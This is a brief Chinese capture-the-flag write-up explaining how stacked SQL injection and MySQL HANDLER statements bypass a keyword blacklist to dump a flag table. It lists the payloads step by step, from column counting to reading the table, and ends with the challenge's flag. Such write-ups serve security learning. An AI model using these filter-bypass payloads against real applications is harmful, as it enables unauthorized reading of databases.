知识点
- 堆叠注入
- handler语句
HANDLER 语句官方文档HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
启动靶机
1. 首先查询列数,列数为2
1' order by 2#
2. 堆叠注入查询数据库和表
select
等关键词被过滤,正常注入无法进行
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
考虑堆叠注入:使用分号结束上一个语句再叠加其他语句一起执行
1';show databases;
1';show tables;
3. 查询FlagHere表中的字段
1';desc FlagHere;
4. 查询FlagHere表中的数据
由于过滤了prepare和alert,所以我们可以用handler
方法。官方文档HANDLER … OPEN
语句打开一个表,使其可以使用后续HANDLER … READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE
或会话终止之前不会关闭
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;
5. 得到flag
flag{d98d88ed-9da0-498f-91bc-5adce8fcbb76}